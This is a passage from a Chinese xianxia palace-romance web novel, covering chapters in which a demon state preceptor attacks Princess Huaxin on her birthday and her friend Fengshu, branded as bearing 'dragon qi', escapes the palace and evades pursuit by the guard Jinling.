“打架?”花信惊疑道,看看金陵,又看看垂眸不语的风疏,一时觉得屋内风水不顺,如坐针毡。
“她毕竟是公主,属下不好过问。您和她是朋友,我便带来这里。”金陵说道。
易辛看了他一眼,金陵话中有话——风疏身为质子,敢对宫中侍卫出手,其心有异。他想让花信谨慎些。
众人自然听出他的真正意思,花信只觉乱糟糟,愧疚不已,只好道:“你……不能这么说她。”
花信:“……她就是我的好朋友……你误会了……你下去休息吧,我和她有话说。”
金陵疑惑,觉得花信过于相信风疏了。
这时,风疏发话了:“就是误会。”
她面色平静,望着金陵,仿佛不是局中人:“你有一副好皮相,我想摸一摸,就是这么简单。”
屋内顿时寂静。
金陵愣住,回想起她靠近自己握住手腕时的情景,似乎真是如此,而后低眉敛目,平和道:“多谢公主抬爱。但下属只想恪尽职守,恐辜负您的好意。”
“好,我知道了。以后不会了。”风疏答得很快,语调毫无起伏。
见此情景,花信却觉针扎般难受,眼泪不禁簌簌而下。她忙抹了泪。
她有什么资格哭!
多么廉价的眼泪!
金陵自然看见了,拧眉困惑:“怎么了?你为什么哭了?”
这般一问,花信更加难受,也愈发觉得自己没用,她努力笑了笑,却比哭还难看,惹得金陵有些担忧。
“你们……”花信话未说完,风疏先道:“天色已晚,我想睡了。”
风疏率先离开,易辛便把金陵也送走了。
回来时,只见花信用被子将自己裹成一团,在黑暗里憋着哭声。
17. 第十七章
花信生辰之日,宫中夜宴,极尽奢华。
无数人向她道贺,金陵侍立在旁,眼见她强装笑意,待宾客走远,嘴角便垂了下来。
“公主,不开心么?”金陵发问。
余光里,金陵衣摆齐整,尚能感受到温润的目光打在自己身上,花信却不敢再抬眼几分。
她怕与金陵对视。
自从金陵失忆以来,他全然忘了自己曾和杨烈调职之事,又回到她身旁,当起了贴身侍卫,与从前一般。
金陵的存在,时时刻刻提醒她,短短月余,全是造化弄人。
众人觥筹交错,她明面上是众星捧月,背地里却觉得自己架在了火堆上,烤得全身焦黑。
金陵因为她,失去了记忆,风疏和二人再无往来,更为重要的——宫里有个妖怪!他蛊惑了父皇!若是伤他性命又扰乱朝纲,该如何!
她试过无数种方法,说、写、比划,都无法告诉旁人国师是妖怪。
花信心里发怵,身边都是人,可谁也帮不了她。
“公主……公主?”金陵见她发呆良久,脸色愈发难看,不禁蹲下身,再唤几遍。
花信吓了一跳,猛地抬头,望见金陵担忧的面色,不由得鼻头一酸。她究竟……为什么要喜欢金陵!不喜欢他,一切都会不一样……
她按捺起伏心绪,摇头道:“无事,有些不胜酒力。”
“那便回宫吧,”金陵说道,“你已见完宾客,可让她们自便。”
花信点头,不愿再与旁人交谈,让易辛搀扶自己回宫。
金陵和祁不为一路护送。
至寝殿后,两人回撤。半路上,祁不为蓦地抬头,天边掠过一抹妖气。
是上次的合欢妖!
祁不为匆匆往回走:“你先回去,我有东西忘记给易……芸娘了。”
寝殿里,易辛已经伺候花信梳洗完毕,左右宫人退下,她正要熄灯,忽起大风,几乎要将火苗吹灭,但见它又颤巍巍地燃了起来。
易辛偏头避风,陡然发现墙上映出一道人影,再回头,赫然是国师!
不待她有所动作,国师朝她一望,她便动弹不得了。
“芸娘?怎么不熄灯了?”花信还侧卧在床榻上,问话间翻过身来,见了国师登时惊呼,“你——”
声音戛然而止,花信眸中露出惊恐,不知为何,仿佛千斤重的东西压在身上,她根本不能动了。
“妖怪!你要做什么!”花信高喊,想要召来宫人,却无人应答。
“公主莫要大喊,宫中下人都睡着了,可别吵醒她们。”国师甩了甩拂尘,笑道。
说罢,国师转身看向易辛:“不过,还是来早一步,你竟还没出去。”
他叹了口气:“我本有几分善心,不想胡乱杀人,但叫你看见我对公主所做之事,也就留你不得了。”
“你……想做什么?”易辛惊疑不定。
花信大惊失色:“不要杀她!不准杀她!”
“我可不是你父皇,大哭大喊无用。”国师讽刺道,手中拂尘一甩,化作一把长剑,缓缓架上易辛脖子。
易辛舌头发麻,芸娘会死么?!
正在这时,易辛蓦地看见祁不为匆匆奔来,眸光一亮,俄而又暗了下去。
国师是妖怪,“杨烈”来,就是送死。
可来人却高呼一声:“易辛!”
那一瞬,易辛觉得天降神兵,约莫如此。
紧接着,祁不为又是高喝:“不思量!”
但——无事发生。
剑不应召,祁不为扑向门里,又被弹了出去。
国师恍若未闻,剑一点点贴近易辛脖子,而花信还在榻上崩溃大喊。
……似乎谁也没看到祁不为。
他撞倒在地,愣住了,几乎又是那一刻明白了。
——这是戏,是早已发生过的事。
这场戏里,没有杨烈,所以祁不为无法进入卧房。
他迅速爬起,伸手摸索,在门口触到一道透明结界,捶打敲击,全无反应,只能看着剑慢慢嵌入易辛颈项,切出齐整的血线,再沿着肌肤滑下。
她正一点一点被杀死。
莫名的,祁不为回想起前世新婚之夜。易辛替嫁,他愤怒不已,掐住她脖子想置她于死地,眼睁睁看她像岸上濒死的鱼。
可他最后放手了!
他没杀她!
她又怎么能死在别人手上!
体内流淌的血液犹如烈油,心头怒火猛然窜高,瞬间点燃全身,烧毁了理智,让他神情可怖。
花信大声尖叫:“不要、不要不要!她是我乳母!求求你不要杀她!你不是要对我下手吗!你先放过她!”
许是花信撕心裂肺的叫喊让国师觉得难以入耳,他终是停下了手,对易辛说道:“也好,我让你多活一刻。”
胸膛里心跳如擂鼓,惊魂暂定,易辛余光去瞥祁不为,见他满脸通红,额角皆是汗水,她来不及反应,又听国师说道:“花信,你受尽宠爱长大,被皇帝养得太好,我从未见过如此纯洁的灵魂,吃下你的生魂,我修为定能大涨!”
嗓子方才已让花信叫破了,此时如有沙砾摩挲般刺痛,喊不出什么话。她只能无声而害怕地落泪,眼中布满绝望与不甘。
人与妖,如此悬殊。
易辛感到自己身子僵硬,慌乱不已,开口欲说话,谁料国师一转头,阴测测地看着她:“别再喊了,吵得我头痛!你敢说一个字,我立马杀掉你的公主!”
“你……能不能放了我?你想要什么,我都给你……”花信无力地祈求。
国师却不听,弯腰俯身,出手探上花信柔软的面颊。
花信顿时僵住,咬住舌尖才堪堪止住惊惧喊叫。
“你们凡人能给我何物?钱?官位?我要这无用之物干什么。我只要你的生魂!”说罢,国师抬手便要抽出花信的魂魄。
瞬间,花信感到切肤之痛,天灵盖仿佛被人重锤,让她实在无法忍耐地叫出声来,闻之惨烈。
易辛顿觉眼睛发酸,下意识想要冲出去,却被国师的妖术定住,动弹不得。
祁不为直直地望着眼前一切,身旁忽然闪过一道身影,来人动作很快,直冲国师心窝。
众人一惊,来人正是风疏!
国师敏捷闪过,风疏一剑刺空,她不敢停留,继续缠斗他。
风疏练剑,用尽女子体态之优势,轻盈灵敏,喜欢闪电般出招,一招接一招,打得对方措手不及。
她已知晓国师是妖,人力斗不过妖力,她只能利用自己的出其不意,让国师暂时无法施展妖术。
国师一分神,易辛得了松懈,立即扑向花信。
“带她走!外面有侍卫!”风疏竭尽全力将国师逼至角落,易辛趁机带走花信。
外面果然围了重重侍卫。
国师一恼,终于抓住风疏空隙,抬脚当胸一踢,风疏飞落前院。国师欺身而上,一掌想要她的命,斜里又刺出一剑,直戳掌心。
国师迅疾收手,金陵趁势捞起风疏,连连后退,侍卫围上。
“你们——”国师环顾四周,怒道,“来了这么多人,我竟一点动静没察觉到。”
风疏捂住胸口,冷嘲:“你正洋洋得意,自然没发
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觉。”
国师怒指风疏:“你早前就来了?悄悄去搬救兵,为了不打草惊蛇,特意一人入内,抢走花信!”
救人要快,要出其不意。
花信惊魂未定,愣愣地看着风疏背影。
金陵目不斜视地望着国师,话却对风疏说的:“请去公主身边,那里安全。她应该也需要你。”
风疏不作争执,慢慢退到重重侍卫身后,与花信在一处,偏头看了她一眼,似是确认无虞。
那厢国师却发了狂,到嘴的肉飞了,还暴露了身份。他如毒蛇般,狠狠盯住人群后的花信:“今日,我定要吃了你魂!”
话落,国师施展妖术,侍卫也齐齐围上。只见黑雾阵阵,有的和侍卫缠斗,有的钻入他们眼口鼻,后者立即倒戈,与同僚搏斗起来。
见势不对,风疏当机立断,拉着花信跑走。
然没跑几步,国师便追了上来,扑腾在空中,仿佛张开利嘴的鹰隼,朝着花信俯冲而下。
风疏推开花信,提剑格挡,国师妖化的手掌与剑身擦出火花,再逼得她不停后退,直直抵在墙上。
国师狞笑:“你胆敢以凡人之躯,挑衅妖魔!”
在风疏震惊的目光里,国师握住剑刃,徒手掰断。长剑从中裂成两半,其中一半在力道作用下,划过风疏下颔,飞出一道血痕。
风疏已无退路,只见国师掌心凝聚妖力,狠狠拍向天灵盖。
“风疏!”花信惊骇不已,破锣嗓子叫的像杜鹃啼血,拼命爬向她。
钝痛炸开,风疏闷哼一声,心里却憋着口气,在他拍掌的同时,蓄力抬手,将断刃插进国师腰间。
头痛,却不那么痛,甚至还全须全尾的,风疏愣了。
眼前国师同样呆住,望着自己的妖爪,嚅嗫半天,才惊诧道:“我的妖力化了……龙气……!你有龙气……你体内竟有龙气!不可能!不可能!”
此时,花信恰离得近些,见风疏完好无损,呼吸几乎停滞,脑中没听见国师所言,但风疏听得清清楚楚。
她眉头动了动,有些错愕,却又克制住,反而从国师话中听出另一道意思,手上再度用力,把断刃推得更深,眼见国师脸色扭曲,她笑了:“你伤不了我,对吗?”
国师仿佛见了鬼,捏住风疏的手,拔出断刃,再飞向空中,仓皇而逃,临走还不忘撂下狠话:“你等着!我一定要了你和花信的命!”
风疏二话不说,拿走侍卫的弓箭,箭镞瞄准空中道袍,眉眼黑沉,话语镇定而冰冷:“你逃,说明你畏惧,你认定我有能力杀你!”
话音落下,羽箭流星般射了出去,命中国师。
半空响起一道凄厉惨叫,国师随之嘭一声炸开,黑雾四散,如烟花灰烬,风一吹,飘向更远的地方。
不远处侍卫见了,纷纷惊诧,又纷纷庆幸,不由得欢呼起来。
“他死了……!”
“妖怪没了!”
“风疏公主箭法了得啊!”
金陵顺着望去,只见风疏迎风招展的衣袂。
花信最为高兴,一时忘了所有,又哭又笑地抱住风疏,呜咽道:“吓死我了……太可怕了……”
众人正开心着,陡然间,四面八方皆响起国师的声音。
“质子风疏!身负龙气!天要亡国!”
“质子风疏!身负龙气!天要亡国……”
简短十二字,如黄铜大钟,轰鸣不断,铺天盖地。
直到黑雾完全散去,声音才消,却宛若余音绕梁,一直回荡在人们心间。
这一刻,所有人面色都变了,却无一例外的,看向了风疏。
18. 第十八章
花信早已放开风疏,愣怔惊讶一扫而空,逡巡众人,无所谓地挥挥手:“妖言惑众而已!别被骗了,谁都不许放在心上!现下无事,你们都散了吧。”
侍卫起初没动,统统望向金陵。
花信挡在风疏身前,金陵越过她的肩,与风疏对视,静默片刻,才率先离开。
待人都散去,花信赶忙拉着风疏回了寝殿,一波方平,一波又起。
“怎、怎么办?”花信有些无措。
国师那些话,简直杀人诛心。
帝王最忌讳的,可不就是他人身上有龙气吗!
风疏必然凶多吉少,再怎么说国师妖言惑者也没用,对于此事,向来只有宁可错杀、不可放过的道理。
花信越想越心焦,急得像热锅上的蚂蚁,没注意背后的风疏正从怀里掏东西。最后她猛一转身,拉住风疏的手:“你走吧!回梁国!现在就走!”
说罢,匆匆拉走风疏,临走前还不忘收拾些珠宝盘缠。
事发时,已是夜晚。宫中侍卫调动起来,不如白日方便,因为上头的人在休息,只看皇帝多久才反应过来。
花信越走越热,又恨不得跑起来,但怕召来余人的怀疑,只能疾步快走,握住风疏的手都沁了层汗。
“你没听懂国师的话吗?”身后风疏问道。
“听懂了啊。”
“我若真是身负龙气,你还打算放我走?不怕你父皇、你的国家会因我出事么?”
“不可能。”花信答得斩钉截铁。
“……你觉得女子做不了帝王,所以不信国师的话。”风疏问。
“我从前看你读书论道,便觉你有帝王之才。虽说从古至今确实没有女子为官,更别说女子称帝,但你不一样。你可以作女子第一人。”花信语速飞快却十分认真,也没耽误脚下生风,“哎呀,风疏你走快些,我真的很怕你走不了!”
风疏:“你信,还放我走?”
“世上除了天启,还有你们梁国,还有邻边诸多小国,那么多帝王呢,肯定个个身负龙气。你是梁国人,自是要回梁国当皇帝呀,不会危及父皇的。”
花信说得理所当然。
风疏望着她的侧脸,这世上,再没有比她天真的人了。
但花信低估了“龙气”危言耸听的影响,黑雾四处飘散后,浩然殿也听到了,没人敢耽搁,即便皇帝已就寝,也小心翼翼地禀告。
毫无意外,截杀令层层下达。很快,侍卫就集结完毕,宫门是早早落锁了。
一场瓮中捉鳖的围猎,开始。
那厢风疏听完花信之语,便拉着她跑了起来。
“比起召来异样,避免被抓,才更重要。”她解释道。
花信还是生辰宴上的一身华服,风中逃命时,华丽得像只燕尾蝶,漂亮,但此时累赘繁琐。
可她什么也不知,只想让风疏逃离皇城。
前方夜色里,亮起星星点点的火光,照亮盔甲,寒芒一片。
花信惊慌地喊了一声,浑身发软,头脑嗡嗡不已。她一生顺风顺遂,禁不住这般大事,瞬间六神无主,想也不想道:“我们换个方向,去没人的地方。”
风疏拉住花信,绊住她调转方向的脚步,拧起眉头道:“现在没有无人的地方了。越过前方,就是宫门,不能功亏一篑。”
风疏紧了紧临走前拿的刀,她知道该怎么做,只是还没发话,花信率先举起她握刀的手,架在自己脖子上:“我真是傻了,你可以这样出宫啊!”
说话间,身前身后的侍卫已经围了上来。火光通天,围成一圈,仿佛敬神告天的仪式。
“别杀我别杀我!”花信哭喊起来,再冲身前侍卫伸手,“救救我!”
风疏抵着花信向前走,面色冷峻:“后退,全都后退!我要出宫!否则,你们就替公主收尸!”
侍卫面面相觑,风疏不顾他们神色,只一往无前,花信配合地以泪涟涟,硬生生逼退了一干侍卫。至宫门前时,一道命令传来。
“不准退!”
侍卫让道,统领大步走出,气息强悍。
风疏神色凛冽:“开城门!”
说罢,她将刀逼近花信脖子。
统领面色不变。
“你想公主死在这里吗!”风疏大吼。
“臣自然不想公主丧命,但兹事体大,皇上正赶往此地,你且等等,”统领道,“手务必要稳,不可伤公主性命。”
“我等不了!”
“但我做不了主!”
花信心里凉了半截,看统领这样式,属于无赖型,就和她们耗着。她能感觉到,风疏亦觉棘手,按住她肩膀的力道重了几分。
风疏一时想不出该如何出宫,但气势不能弱,不能犹豫:“国师是妖怪,你们怎能听信他的话!我一介女子,如何能身负龙气!”
“那你跑什么,还挟持公主!”
“那你们抓我做什么,看你们这番行事,想必第一时间就出动了,根本没管龙气之言的真假!”
“我们只是奉命请你去面见皇上,并非要你命。你是梁国公主,死在天启,岂非挑起两国争端?”
“请我去见皇上,需要这么多人?你们分明想置我于死地!我的命难道不是命吗?我怎能甘心因为妖怪胡言就白白丧命!”风疏高喊,眼角眉梢都是不甘怨怼。
两人对峙,紧张气氛到达顶点。
花信心一横,伸脖子向前,抹出一道血痕,乍看起来是风疏逼急了,对她下手。
花信惊慌大叫:“狼心狗肺的疯女人!你当真要杀了我!我们好歹作了几年玩伴!你怎么能狠心对我下死手!”
“大统领!救命!你做不了主!我来做主!我是父皇唯一的女儿,我死了,你们全都吃不了兜着走!按她说的做!开宫门!”
花信喊着喊着,嗓子已经不堪重负,呛了口气,咳得惊天动地,脖子上鲜血直流,看着十分瘆人。
她没轻没重,那一刀割得略微深了些,好在风疏反应及时,将刀不动声色拿远,否则真是戏剧十足。
但风疏还是被吓到了,余人也是。
花信有一点说得不错,皇帝对她恩宠比天高,她要真出了事,真是难以交待。
风疏添油加醋:“我都要死了,谁管那些情谊!但就算是死,也要拖个人下去陪我!你是皇帝爱女,黄泉路上作伴的最好人选!”
风疏望向统领:“大统领,公主的命,在你手里了!”
说罢,风疏借她身子掩映,低声道:“我从前送过你一把匕首饰品,带在身上了吗?”
花信回以气声:“带了,就在腰间。”
“向大统领施压,再用眼神示意你腰间有把匕首。”
花信听从,又开始哭喊叫骂:“快开宫门!让她出宫门又如何,这偌大一座城,你们那么多人还抓不住她吗!再说,一路都是天启王土,她能逃回梁国吗!我要是死了,父皇一定会拿你们问罪!重则陪葬!”
她一面说,一面向大统领使眼色,衣袖掩映间,露出匕首。
统领根本不打算放二人离开,在他看来,风疏此时挟持的若是太子甚或皇子,他都会犹疑,可一介公主能如何,皇帝恩宠的花瓶而已,事后还能找她算账?
可他看见花信腰间匕首了,人如果有更好的选择,总归会犹豫。看花信的意思,是想被劫持时,趁风疏不备偷袭她。
这是一个法子,花信是养尊处优的公主,料想风疏不会太防备她,他再趁机抓人,公主也救了……
两人见大统领一动不动,以为又陷入僵局,谁知他竟下令开宫门,连风疏要的马也备好了。
擦肩而过时,统领和花信对视,点头示意。
花信高举匕首,怒喝:“疯女人,我怎会被你胁迫!你去死吧!”
统领愣住,继而大怒,几乎要喷出一口老血,谁家偷袭还大放厥词!生怕别人不知道吗!
果不其然,风疏打落花信匕首,人没挣扎出去,被抓上了马。
一众侍卫眼睁睁看着风疏骑马扬长而去,统领当机立断要放箭,而无人长街上,花信一面惊叫“马跑太快了,我好害怕,救命救命”,一面死死环住风疏的腰,在她身后当了个靶子,把人挡得死死的。
统领气急败坏,连忙向宫中传命,又向城门警示。
宫门能出,但城门必然出不了,那时皇上也该到了。<
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但事实是,两人并未走东南西北四门,而是钻了外出游玩时发现的狗洞,再趁夜色一路疾驰,至天微明时,才在荒郊野外寻了一处破庙休息。
破庙里。
高度紧张后,花信只觉全身乏力,恨不能跪下去。
风疏扯了块衣料,替她紧急包扎,好在伤口止住了血。
只是一路逃亡,花信头发散乱,活像个小疯子,她后怕地拍拍胸脯:“好险,终于逃出去了。”
她又凑到风疏面前:“你就带着我一路逃跑吧,逃出天启,再放我回来,沿途应该没人敢拦你了。”
说罢,她又解开风疏身上的包袱,打开一看,全是价值不菲但轻巧的珠宝,她惊叹道:“可以换好些钱呢!够我们用啦!”
“这种时候,你怎么还能笑得出来?”
“哎呀,这不是刚刚鬼门关走过一遭嘛,活着最重要,其他的都不算什么了。”花信豁达道,拢了拢乱糟糟的头发,又把身上能换钱的首饰统统退下,放进包袱里。
做完这些,她偏头一望,只见风疏望着门外发呆。
外头下了雨,天空灰蒙蒙的,土壤的气息翻涌出来,远眺着,晦暗不明。
花信却觉昨日种种都被雨水洗去,她挪到风疏身边,挨着人坐下:“若梁国……回不去,你便去周边邻国嘛,这些盘缠也够你安顿了,等你安定下来,我让金陵离宫去寻你。”
闻言,风疏转过头来望着她。
花信释然地笑了笑:“是,我是很喜欢金陵,但你是我最好的朋友,他也是我的好朋友,你们开心了,我也会开心的,就算现在没那么开心,等时间慢慢过去了,我就会很好啦!”
国师已死,下在她身上的禁制便没了,趁此机会,花信便一道把前因后果说清楚:“……对不起,我觉得我还是会选他活着,只是他喝下孟婆汤,把你忘了……”
“活着最重要,死了便什么都没了。儿女情长,没有命重要。”风疏说道,接着伸手入怀,掏出一本布帛包裹好的书。
是话本。
“我生辰那日……你来了?”花信愣愣道。
对啊,风疏来送话本,所以正好看到国师取她生魂。
“你那时候……不是生我气吗?”她又问。
风疏:“我没有生你的气,只是事发突然,一时觉得难以置信。贺礼为你准备的,自然还是要送给你。”
花信接过本子,想哭又想笑:“金陵有什么好的,我怎么会喜欢他,眼睛肯定瞎了。你最好啦!我要是男子,一定不给金陵机会!等他去寻你,你们好好相处,他先前便中意你,日后定然也是!”
“休息一会儿吧,等雨停了,我们就上路。”风疏说道。
花信点点头,怀里抱着话本,枕了风疏肩头,惊吓过后,沉沉睡过去。
不知睡了多久,迷糊间似乎雨下得更大了,雨雾铺面而来,凉沁沁,又像躺在雨里。
耳边噼啪作响,蓦地,闷雷滚过,炸响开来,将花信彻底惊醒。
她正晕乎着,又闻一声嘶鸣。
“风疏,马是不是受惊了?”她瓮声瓮气地问着,忽觉不对,猛一睁眼,庙里哪还有风疏的影子。
“风疏!你在哪儿?”她边喊边跑出破庙。
林间,风疏正跨上马,一夹马腹,淋着大雨奔了起来。
花信顿时慌乱,跟着跑起来,泥水溅湿衣裳,脏得不成样子:“风疏,风疏……你去哪!你带我一起走啊!”
风疏头也不回,花信徒劳地跑着,浑身湿透,雨水落到身上,又渗进泥里,像是带走了她心里的什么东西。
“风疏!你为什么把我丢下!”花信哭喊,“你个大骗子!我们不是和好了吗!”
花信跑不过马,也追不上风疏,只能哭天喊地,挽留的话说尽后,大喊一声:“风疏!你要活着……好好活下去……不要被他们抓住!不要死!”
林间尽是参天大树,掩住天光,隔着雨幕,风疏渐成小小一点,最后消失不见。
花信嚎啕大哭。
“风疏……我们是好朋友,你为什么丢下我!”
两人心知肚明,这一面,便是最后一面了。
19. 第十九章
夜幕低垂,深宫之中。易辛坐在屋檐下,从国师杀花信、侍卫围剿国师、风疏身负龙气,再到花信带风疏出逃,短短一夜之间,变故横生,跌宕起伏。
宫中侍卫齐齐出动,隔了很远,易辛都能听见甲胄摆动时冰冷的声音。
疲倦袭来,易辛坐在那儿一言不发,随后又默默抬起手掌。
祁不为见她盯着手心看了好一会儿,不知想些什么,又看些什么。片刻后,他拿上药和纱布走到易辛身边。
“上点药。”祁不为言简意赅。
血早就凝住了,除了有些痛,并无大碍。但易辛还是对祁不为认真道谢:“谢谢公子。”
想起国师一事,她又望着祁不为:“方才危及时刻,也谢谢公子赶到。”
“别谢我,”祁不为在她身旁坐下,撑着脑袋虚虚看着前方,“就算赶到了,我也做不了什么。”
话毕,祁不为眼睛微微眯了起来,看见国师要杀易辛,他反应怎会如此强烈……
四下寂静,只剩易辛包扎伤口时窸窸窣窣的声响。
两人同坐屋檐下,没怎么说话,却有股别样的平和,安安静静,直到天色熹微。
破晓时分,两人等来的回宫的花信。
花信回到皇宫后,众人便知风疏已经出了城,但如水滴入海,不知她去向了何处。
因此,搜捕蔓延至全国上下。
易辛每日帮花信打探消息,后者生怕风疏被抓了,而没有消息便是最好的消息。
只是忽然一日,追兵发现了风疏的踪迹,被她脱逃后,又大肆追捕。
小溪边,停留一队人马。
为首者拨了拨熄灭的柴火,尚有余温。
“被她察觉了,但看这火堆,人还没走远,就在附近,”首领环顾四周,下令,“封山!人马分成三队,分守三个出入口。”
夜里,侍卫守住一处出口,金陵和祁不为等人坐在营地前的空地上。
他们一道进了搜捕队伍。
山间气温低,众人燃起篝火。金陵坐在木桩上,一手拄剑支地,腕间一串佛珠,映着蒙蒙火光。
祁不为坐在一旁,无语仰天。
杨烈接了这桩差事,连累得他整天东奔西走,风疏逃命,尽是往大山河海之地走,忽然离开锦衣玉食的皇宫,他还有些不适应。
虽然他以前也时时下山游历,果真应了一句话,由奢入俭难。
他偏转目光,落在金陵的佛珠上:“这串佛珠,谁送的?”
金陵愣了愣:“想不起来了……好像带了很久,便一直带着了。”
祁不为盯了金陵片刻,玩心大起,抛出一个问题:“若有一日,你脑中忽然凭空蹦出许多记忆,这时你发现,你忘了自己的爱人,你会如何?”
金陵似乎没有多想,顺着他的话问道:“在我忘记她的这段时日,我们还一直联系么?”
“有什么区别?”祁不为问。
金陵:“若我和对方已经毫无交集,凭空想起这些,大约觉得陌生,认为这个人不是我,除了震惊外,也许不会再有其他情绪了。就像转世的人,与前世相比,二者已经不是同一个人,”金陵继续道,“若我和她一直有交集,猛然想起这些,约莫会重新喜欢上她。”
祁不为点头,示意那串佛珠:“我知道这是谁送的。”
“谁?”
“风疏。”
“……你、说什么?!”金陵像是不可置信。
“你和她,是心意相通的眷侣,”祁不为望着金陵,“国师那个妖怪,让你忘了风疏。”
有如雷劈,金陵愣在当场,嘴唇嚅嗫着,想说话却说不出来。
“你……在说笑吗?”
祁不为摇头:“我可没骗你。你对她情深意切,但忘了她,还在追杀她。她就在林子里逃命,说不准马上就要被抓住了。该怎么办呢?”
末了,他尾音上扬,带着看好戏的意味。
“此时此刻,你还有机会,”祁不为加重“机会”二字,虽然金陵并不明白其中深意,“快去林子里,追上她问问吧,年轻人,珍惜时辰吧。”
他能“泄漏天机”,就说明还不到二人登台时刻,金陵若听他所言,追去林子,还能和风疏偷得“半日闲”。等事情重回正轨,这二人指不定要怎么刀剑相向。
整日毫无结果的搜寻,实在无聊得很,人要跳脱出原本的路,才有意思。祁不为心里腹诽。
然而金陵动也未动,震惊过后,竟收敛了所有神色,反问他:“那你呢,你要是发觉自己忘了一个人,会如何?”
祁不为没料到他是这般反应,反被问住了。脑子竟不由自主顺着他的问题去想,顿时闪过易辛的浮光掠影。
“不知道,”他坦承道,沉默片刻,又问,“如果有人杀了你,你死去又重生,会不会杀她?或者说,你尝试杀她好几次,却发现你们之间或许有什么渊源,只是你忘了,你还报不报仇?”
金陵思忖半晌,最后摇了摇头:“重生之后,那人对你而言,应是并未仇恨,毕竟她还没杀你。”
祁不为皱起眉头。
金陵:“至于你们或许有渊源,那便更不能冲动,万一后悔了该当如何?”
祁不为手指动了动,最后一句话萦绕心头,万一后悔了怎么办?
他正沉思着,对面金陵忽然笑了:“想不到你平日还有这些心思,日后宫中的戏,不如你去编排,冲突矛盾都有了。”
祁不为回过味来:“你以为我说你和风疏的话,都是假的?”
“不是。”
“……那你坐在这里,无动于衷?”
“去寻她,反而会错过。”
“你的意思是,她会从这个山口出?”听出金陵的笃定之意,祁不为脑中忽闪过一道光,眉眼渐渐凌厉,“你凭什么这样断定……你知道以后的事?你是谁?”
金陵迷惑:“什么日后之事……我就是金陵啊……若你是风疏,你也会选择这个出口,毕竟按你所言,有‘熟人’在,不是吗?”
有熟人,总是好办事的。
祁不为没说话,金陵所言,有几分道理,但他心中隐隐觉得不对……
忽然,林中出现骚动。
“谁!谁在那!”
“是风疏!抓住她!”
祁不为还没说话,便感觉身子向上一提,猛地站了起来——开始“登场”了,闲话时间已过。
金陵对众人道:“留两人守住出口,其余人追进去。”
说罢,他擒了火把,率先奔入林中,祁不为“被迫”紧随其后。
祁不为:“……”
谁说的在出口守株待兔……而他方才和金陵说的话,想必也在后者脑中消失得干干净净。
众人追着林中那抹时隐时现的影子,恰碰上另一队巡山,截住可疑人。
“别动!不准跑!老实呆着!”
“……各位官爷,抓我干嘛呀?我没犯事儿吧……我就上山砍柴,晚了些,正要下山呢……”
金陵根本没听完,从那人开口第一句,便匆匆往回赶。
此人是男子,他们跟错人了,而风疏或许趁着这个机会已经出山了!
“杨烈”见他二话不说就往回走,也反应过来,抬步跟上。
祁不为:“……”
这都是干什么?
等两人到了出口,入目只见侍卫躺倒,不省人事,再抬头一看,一抹影子偷了营地的马,已经离去。
两人骑马跟上,至分叉路口时,金陵道:“你左我右。”
祁不为只得策马向左,没跑一会儿,发现自己能控制身体了——没戏份?说明他追错方向了。
祁不为立马调转马头,追金陵而去,准备当个谁也看不见的旁观者,安静看戏。
不知追了多久,金陵见前方林地上有匹马正在吃草,而风疏不见踪影。
他拉住缰绳,驭马停下,观察周围蛛丝马迹。她躲起来了吗?
祁不为可以解答这个问题,只见一棵树上,风疏正安静蛰伏,待金陵走过时,猛地飞身下扑。
金陵敏
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锐,翻身躲过,但马匹受惊,迅速跑开了。
风疏擅长奇袭,一招失手,不等金陵反应,又从其他方向执刃刺向他。
金陵躲过几招,恍觉招式十分熟悉,正是他自己的。
“你的招式,为何同我一样?!”
风疏又是一击,不答只打。但金陵对这些太熟悉,不用思考,也知风疏下一步会攻哪里,便趁势反剪了风疏双手,向上一提,只听骨骼喀嚓,伴随闷哼一声,风疏脚软无力,跪在了地上。
“你的招式,谁教的?”
风疏喘着气:“偷学的……你、要杀我吗?”
“皇上谕令,抓住你,斩立决。”
“国师是妖怪,他说的是假话,你听信?”
“他说的是真话。”
风疏顿住,偏头来看他。
金陵书生气太重,此刻看来,不像武将,更像发脾气也很温润讲理的公子,仿佛眼前之人只是说了些不合礼仪的话。
金陵凝视她的双眸:“我看见了,国师当时凝聚妖力想杀你,碰上你的瞬间,妖力全散了,他奈何不了你。你不是修道之人,没有灵力护体,他说你有龙气,未必是假话。”
金陵:“放过你,天启会覆灭。”
风疏笑了,笑得浑身发抖。
金陵拧眉,感觉提着的双臂变重,后知后觉原是风疏撑不住,浑身没了力气,不像笑得发抖,更像痛的。
察觉不对劲,他立马松手,风疏无力地倒在地上,死死按住腹部。
定睛一看,才发现那里染了褐色血迹,衣服颜色太深,他一时没发觉。
“你受伤了——?!”
“正好,不劳你费心……我待会儿就去见阎王了……天启不会覆灭。”
风疏气若游丝,方才打斗,似乎耗尽了她最后一口气。
金陵僵住,面上几番变化,最后抱起风疏:“我带你去就医,撑住!”
风疏搭上他后颈,灰败的眉眼瞬间凛冽,抬手将细针扎入他肌肤里。
金陵一顿,晃了几晃,单膝跪下,再也抱不住她,颓然倒在地上,眼睛死死盯着风疏:“你——”
风疏起身,抬手在他衣服上擦掉指尖染上的麻醉散,再从衣袖里抽出一排银针:“早有准备。”
又指了指腹部:“野兔子的血。”
她将金陵拖走,背靠大树,在他身前蹲下:“让你来杀我,皇帝有些恶毒。”
“论心机,你也不遑多让!”金陵有些怒意。
“你生气了?”风疏笑了笑,很淡,但确实被逗笑了。
笑过后,她敛起眉目,凝望金陵。金陵不能动弹,除了怒目而视,似乎也没别的事能干,看着看着,忽觉风疏俯身,吻上了他。
瞬间,金陵面上一片空白。
风疏贴了片刻,撤身时问道:“要不要和我走?”
“我为何要跟你走!”金陵想也不想便反驳道,脸色却涌了红。
风疏又笑了:“不意外。好好照顾花信。”
话落,风疏起身,捡起金陵落在地上的剑。
见她挥剑的瞬间,金陵脑子一片空白,似是完全没料到会死得如此草率,猝不及防……
下一刻,肩上剧痛。
风疏下手快狠准,长剑穿透金陵肩膀,插入树桩里。
“避开了要害,也不会影响日后习武。这样,你也能向皇帝交差。”
金陵咬牙忍痛,抬头看风疏,女子面目沉静,只有抿直的唇角,才能窥出几分不愿伤人的意思。
“今日我们若斗得不死不休,你执意杀我,我也会杀死你的。”风疏说道。
“所以,回去好好养伤吧,不要再参与这次任务了。”
“金陵,再见。”
林中一声长啸,马奔向风疏身旁。
她翻身上马,像阵风似的呼啸而过。
林间起了雾,树木不透光,越往前,越像踏入黑暗里。
顺着参天大树向上,群山林木之后,红日冒了个尖,金光破云而出,晨光熹微。
20. 第二十章
